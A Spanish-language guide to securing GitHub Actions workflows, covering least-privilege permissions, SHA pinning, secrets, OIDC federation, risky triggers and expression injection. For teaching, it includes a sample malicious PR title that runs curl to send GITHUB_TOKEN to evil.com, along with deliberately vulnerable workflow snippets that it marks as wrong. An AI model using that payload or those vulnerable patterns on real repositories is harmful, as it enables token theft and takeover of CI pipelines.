1. Permisos — Principio de Mínimo Privilegio
El cambio de mayor impacto que puedes hacer en cualquier workflow de GitHub Actions es restringir los permisos. Por defecto, GITHUB_TOKEN tiene acceso de lectura y escritura a la mayoría de los scopes. Anula eso inmediatamente.
Permisos de Solo Lectura por Defecto (Nivel Superior)
Coloca esto en la parte superior de cada archivo de workflow para que solo lectura sea el valor por defecto para todos los jobs:
# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
Permisos Vacíos (Acceso Cero)
Para jobs que nunca interactúan con las APIs de GitHub ni con el repositorio, elimina todos los permisos por completo:
jobs:
lint:
runs-on: ubuntu-latest
permissions: {}
steps:
- uses: actions/checkout@v4
- run: npm run lint
Por qué funciona: actions/checkout usa el token para repos privados pero recurre a un clone anónimo para los públicos. Si tu repo es público, permissions: {} es seguro para el checkout.
Recetas de Permisos por Job
Otorga solo lo que cada job necesita:
# Solo checkout (repo privado)
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Desplegar en GitHub Pages
jobs:
deploy-pages:
permissions:
pages: write
id-token: write
runs-on: ubuntu-latest
# Push a GitHub Container Registry (GHCR)
jobs:
push-image:
permissions:
contents: read
packages: write
runs-on: ubuntu-latest
# Crear un GitHub Release
jobs:
release:
permissions:
contents: write
runs-on: ubuntu-latest
# Comentar en un Pull Request
jobs:
comment:
permissions:
pull-requests: write
runs-on: ubuntu-latest
Regla general: Comienza con permissions: {} y añade scopes uno a la vez hasta que el job pase. Nunca dejes los permisos de lectura-escritura por defecto.
2. Pinning de Actions — Deja de Usar Tags
Los tags como @v4 son mutables. Un atacante que comprometa una action popular puede mover el tag a un commit malicioso. Fija cada action de terceros a un SHA completo.
Pinned vs. Sin Pinning
# PELIGROSO — el tag puede moverse a cualquier commit
- uses: actions/checkout@v4
# SEGURO — referencia de commit inmutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
El comentario al final preserva la legibilidad mientras el SHA bloquea el código exacto que auditas.
Encontrar el SHA de Cualquier Action
# Obtener el SHA completo para un tag específico
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1
# O usar la API de GitHub
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'
Automatizar Actualizaciones con Dependabot
Fijar por SHA no significa dejar de actualizar. Deja que Dependabot proponga actualizaciones de versión automáticamente:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: "/"
schedule:
interval: weekly
commit-message:
prefix: "ci"
reviewers:
- "your-org/security-team"
labels:
- "dependencies"
- "ci"
Dependabot entiende los SHA pins. Actualizará el SHA y el comentario del tag en un solo PR.
3. Gestión de Secretos
GitHub ofrece tres ámbitos de secretos. Elige el correcto para minimizar el radio de impacto.
Comparación de Ámbitos de Secretos
| Ámbito | Visibilidad | Ideal Para |
|---|---|---|
| Repositorio | Todos los workflows en un repo | API keys y tokens específicos del repo |
| Environment | Solo jobs que apuntan a ese environment | Credenciales de producción, deploy keys |
| Organización | Repos seleccionados en toda la org | Cuentas de servicio compartidas, credenciales de registro |
Reglas de Protección de Environments
Los environments te permiten proteger despliegues detrás de aprobaciones, temporizadores de espera y restricciones de rama:
jobs:
deploy-production:
runs-on: ubuntu-latest
environment:
name: production
url: https://app.example.com
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Deploy
run: ./deploy.sh
env:
DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
Luego configura el environment production en Settings → Environments con:
- Revisores requeridos (al menos 1)
- Temporizador de espera (ej., 5 minutos)
- Restricción de rama de despliegue: solo
main
La Zona de Peligro de pull_request vs pull_request_target
Este es uno de los malentendidos más peligrosos en GitHub Actions:
| Trigger | Código que se ejecuta | ¿Secretos disponibles? | Riesgo |
|---|---|---|---|
pull_request |
Commit de merge del PR | No (forks) | Bajo |
pull_request_target |
Rama base | Sí | Crítico si haces checkout del código del PR |
Nunca hagas esto:
# VULNERABILIDAD CRÍTICA — secretos expuestos al código del PR del fork
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Hace checkout de código NO CONFIABLE del fork
- run: ./build.sh # Ejecuta código controlado por el atacante CON secretos
Si necesitas pull_request_target, nunca hagas checkout del head del PR. Solo úsalo para etiquetar o comentar sobre el código de la rama base.
4. OIDC / Workload Identity Federation
Deja de almacenar credenciales de nube de larga duración como secretos. Usa OpenID Connect para obtener tokens de corta duración directamente de tu proveedor de nube.
Bloque de permisos requerido para todos los workflows OIDC:
permissions:
id-token: write # Requerido para solicitar el JWT de OIDC
contents: read # Requerido para actions/checkout
AWS — Configurar OIDC
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
Plantilla de Trust Policy de AWS:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
}
}
}
]
}
GCP — Workload Identity Federation
- name: Authenticate to Google Cloud
uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
with:
workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
service_account: github-actions@my-project.iam.gserviceaccount.com
Azure — Credenciales Federadas
- name: Azure Login
uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
Beneficio clave: No se almacenan credenciales estáticas en ningún lugar. Los tokens expiran en minutos. La trust policy restringe qué repos, ramas y environments pueden asumir el rol.
5. Triggers de Workflows — Seguros vs. Peligrosos
No todos los triggers son iguales. Algunos ejecutan código de fuentes no confiables u otorgan permisos elevados.
Tabla de Seguridad de Triggers
| Trigger | Nivel de Riesgo | Notas |
|---|---|---|
push |
Bajo | Solo ejecuta código ya fusionado |
pull_request |
Bajo | Sin secretos para forks |
schedule |
Bajo | Se ejecuta en la rama por defecto |
workflow_dispatch |
Medio | Trigger manual — valida los inputs |
pull_request_target |
Alto | Secretos disponibles — ver Sección 3 |
issue_comment |
Alto | Cualquier comentarista puede activarlo — protege con verificaciones de permisos |
workflow_run |
Alto | Hereda contexto elevado del workflow que lo activó |
Filtrado por Rama y Ruta
Reduce ejecuciones innecesarias y limita la exposición:
on:
push:
branches:
- main
- 'releases/**'
paths:
- 'src/**'
- 'package.json'
paths-ignore:
- 'docs/**'
- '*.md'
Control de Concurrencia
Evita que múltiples despliegues compitan entre sí:
concurrency:
group: deploy-${{ github.ref }}
cancel-in-progress: false # No canceles despliegues en curso
# Para builds de PR donde cancelar ejecuciones anteriores es seguro:
concurrency:
group: ci-${{ github.event.pull_request.number || github.sha }}
cancel-in-progress: true
6. Seguridad de Actions de Terceros
Cada línea uses: en tu workflow es una dependencia de la cadena de suministro. Trátala como cualquier otra dependencia.
Lista de Verificación de Auditoría
Antes de adoptar cualquier action de terceros, verifica:
- Editor: ¿Es de un creador verificado o una organización conocida (ej.,
actions/*,aws-actions/*)? - Código fuente: ¿Has leído el
action.ymly el script de entrada? - Permisos: ¿Solicita más de lo que necesita?
- Estrellas / uso: Las actions con poco uso son de mayor riesgo.
- Mantenimiento: ¿Cuándo fue el último commit? ¿Se atienden los issues?
- Dependencias: ¿Trae un árbol masivo de
node_modules?
Haz Fork de Actions Críticas
Para actions que se ejecutan en pipelines sensibles, haz fork a tu organización:
# En lugar de:
- uses: some-random-org/deploy-action@v2
# Haz fork y fija:
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Configura un workflow programado para sincronizar tu fork y revisar las diferencias antes de fusionar cambios upstream.
CODEOWNERS para Archivos de Workflow
Requiere revisión del equipo de seguridad para cualquier cambio en workflows:
# .github/CODEOWNERS
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
Combina con reglas de protección de rama que requieran aprobación de CODEOWNERS para hacerlo aplicable.
7. Prevención de Inyección de Expresiones
Las expresiones de GitHub Actions (${{ }}) se expanden como plantilla antes de que el shell las vea. Si un atacante controla el valor, controla tu shell.
El Patrón Peligroso
# VULNERABLE — el atacante controla el título del PR
- name: Echo PR title
run: echo "PR: ${{ github.event.pull_request.title }}"
Un título de PR malicioso como Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # rompe el echo y exfiltra tu token.
Contextos peligrosos que aceptan entrada del usuario:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.head_commit.messagegithub.head_ref(nombre de rama desde forks)
La Alternativa Segura — Variables de Entorno
# SEGURO — el valor se pasa como variable de entorno, no se inyecta en el script
- name: Echo PR title
run: echo "PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Cuando el valor fluye a través de una variable de entorno, el shell lo trata como datos, no como código. Esta es la solución para toda inyección de expresiones.
Uso Seguro en Condicionales
Las expresiones en condiciones if: son seguras porque son evaluadas por el runtime de Actions, no por el shell:
# SEGURO — evaluado por el runtime de Actions, no el shell
- name: Check label
if: contains(github.event.pull_request.labels.*.name, 'deploy')
run: echo "Deploy label found"
8. Errores Comunes — Top 5 Con Soluciones
Error 1: Permisos de Token por Defecto (Excesivamente Permisivos)
# MAL — lectura-escritura implícita en todo
on: push
jobs:
build:
runs-on: ubuntu-latest
steps: ...
# CORREGIDO — solo lectura explícita por defecto
on: push
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps: ...
Error 2: Usar Tags Mutables para Actions
# MAL
- uses: actions/setup-node@v4
# CORREGIDO
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
Error 3: Credenciales de Nube de Larga Duración como Secretos
# MAL — claves AWS estáticas que nunca expiran
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
# CORREGIDO — federación OIDC, sin credenciales almacenadas
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
Error 4: Hacer Checkout del Código del PR en pull_request_target
# MAL — ejecuta código no confiable con secretos
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make build
# CORREGIDO — usa el trigger pull_request (sin secretos para forks)
on: pull_request
steps:
- uses: actions/checkout@v4
- run: make build
Error 5: Inyección de Expresiones vía run:
# MAL — interpolación directa de entrada del usuario
- run: echo "Issue: ${{ github.event.issue.title }}"
# CORREGIDO — pasar a través de variable de entorno
- run: echo "Issue: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
Tarjeta de Referencia Rápida
| Práctica | Resumen |
|---|---|
| Permisos por defecto | permissions: read-all en la parte superior del workflow |
| Fijar actions | Usa SHA completo de 40 caracteres + comentario del tag |
| Auto-actualizar pins | Dependabot con ecosistema github-actions |
| Autenticación en la nube | Federación OIDC, nunca claves estáticas |
| Proteger secretos | Scopes de environment + reglas de protección |
| Prevenir inyección | Siempre usa env: para valores controlados por el usuario |
| Revisar workflows | CODEOWNERS en .github/workflows/ |
| Evitar triggers riesgosos | Evita pull_request_target + checkout |
Aplicar incluso la mitad de estas prácticas pone tu pipeline de CI/CD por delante de la mayoría de las organizaciones. Comienza con permisos y pinning — toman cinco minutos y eliminan clases enteras de ataques a la cadena de suministro. Luego trabaja en la federación OIDC y la prevención de inyección de expresiones para cerrar las brechas restantes.
Para práctica hands-on, explora nuestros laboratorios de Seguridad CI/CD y las guías de GitHub Actions para ver estos patrones aplicados en escenarios del mundo real.